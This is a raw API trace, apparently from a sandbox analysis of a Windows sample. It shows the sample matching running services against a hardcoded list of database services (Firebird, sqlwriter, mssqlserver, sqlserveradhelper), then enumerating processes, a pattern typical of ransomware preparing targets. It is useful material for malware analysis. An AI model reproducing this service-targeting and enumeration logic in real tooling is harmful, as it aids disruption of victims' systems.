[0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.340] lstrlenW (lpString="FontCache") returned 9 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0272.340] lstrlenW (lpString="gpsvc") returned 5 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.340] lstrlenW (lpString="iphlpsvc") returned 8 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0272.340] lstrlenW (lpString="KeyIso") returned 6 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0272.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0272.341] lstrlenW (lpString="LanmanServer") returned 12 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0272.341] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.341] lstrlenW (lpString="lfsvc") returned 5 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0272.341] lstrlenW (lpString="lmhosts") returned 7 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.341] lstrlenW (lpString="LSM") returned 3 [0272.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0272.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0272.341] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0272.341] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0272.342] lstrlenW (lpString="MpsSvc") returned 6 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.342] lstrlenW (lpString="NcbService") returned 10 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0272.342] lstrlenW (lpString="netprofm") returned 8 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0272.342] lstrlenW (lpString="NgcSvc") returned 6 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0272.342] lstrlenW (lpString="NlaSvc") returned 6 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.342] lstrlenW (lpString="nsi") returned 3 [0272.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.343] lstrlenW (lpString="PcaSvc") returned 6 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.343] lstrlenW (lpString="PlugPlay") returned 8 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.343] lstrlenW (lpString="Power") returned 5 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.343] lstrlenW (lpString="ProfSvc") returned 7 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.343] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.343] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.343] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.343] lstrlenW (lpString="RpcSs") returned 5 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.344] lstrlenW (lpString="SamSs") returned 5 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.344] lstrlenW (lpString="Schedule") returned 8 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.344] lstrlenW (lpString="SecurityHealthService") returned 21 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0272.344] lstrlenW (lpString="SENS") returned 4 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.344] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.344] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.344] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.345] lstrlenW (lpString="Spooler") returned 7 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.345] lstrlenW (lpString="SSDPSRV") returned 7 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0272.345] lstrlenW (lpString="StateRepository") returned 15 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0272.345] lstrlenW (lpString="SysMain") returned 7 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.345] lstrlenW (lpString="SystemEventsBroker") returned 18 [0272.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0272.345] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0272.345] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0272.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0272.345] lstrlenW (lpString="Themes") returned 6 [0272.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.346] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x782450 | out: hHeap=0x6e0000) returned 1 [0272.346] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0272.350] Process32FirstW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.350] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.351] lstrlenW (lpString="System") returned 6 [0272.351] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.352] lstrlenW (lpString="smss.exe") returned 8 [0272.352] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.352] lstrlenW (lpString="csrss.exe") returned 9 [0272.352] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.353] lstrlenW (lpString="wininit.exe") returned 11 [0272.372] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.372] lstrlenW (lpString="csrss.exe") returned 9 [0272.372] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.373] lstrlenW (lpString="winlogon.exe") returned 12 [0272.373] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.373] lstrlenW (lpString="services.exe") returned 12 [0272.373] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.374] lstrlenW (lpString="lsass.exe") returned 9 [0272.374] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.375] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.375] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0272.375] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0272.375] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.376] lstrlenW (lpString="svchost.exe") returned 11 [0272.376] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.376] lstrlenW (lpString="svchost.exe") returned 11 [0272.376] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.377] lstrlenW (lpString="dwm.exe") returned 7 [0272.377] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.378] lstrlenW (lpString="svchost.exe") returned 11 [0272.378] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.378] lstrlenW (lpString="svchost.exe") returned 11 [0272.378] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.379] lstrlenW (lpString="svchost.exe") returned 11 [0272.379] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.379] lstrlenW (lpString="svchost.exe") returned 11 [0272.380] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.380] lstrlenW (lpString="svchost.exe") returned 11 [0272.380] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.381] lstrlenW (lpString="svchost.exe") returned 11 [0272.381] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.381] lstrlenW (lpString="svchost.exe") returned 11 [0272.381] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.382] lstrlenW (lpString="svchost.exe") returned 11 [0272.382] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.382] lstrlenW (lpString="svchost.exe") returned 11 [0272.383] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.383] lstrlenW (lpString="svchost.exe") returned 11 [0272.383] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.384] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.384] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.385] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0272.385] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0272.385] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0272.385] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0272.386] lstrlenW (lpString="Memory Compression") returned 18 [0272.386] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.386] lstrlenW (lpString="svchost.exe") returned 11 [0272.387] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.387] lstrlenW (lpString="audiodg.exe") returned 11 [0272.387] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, 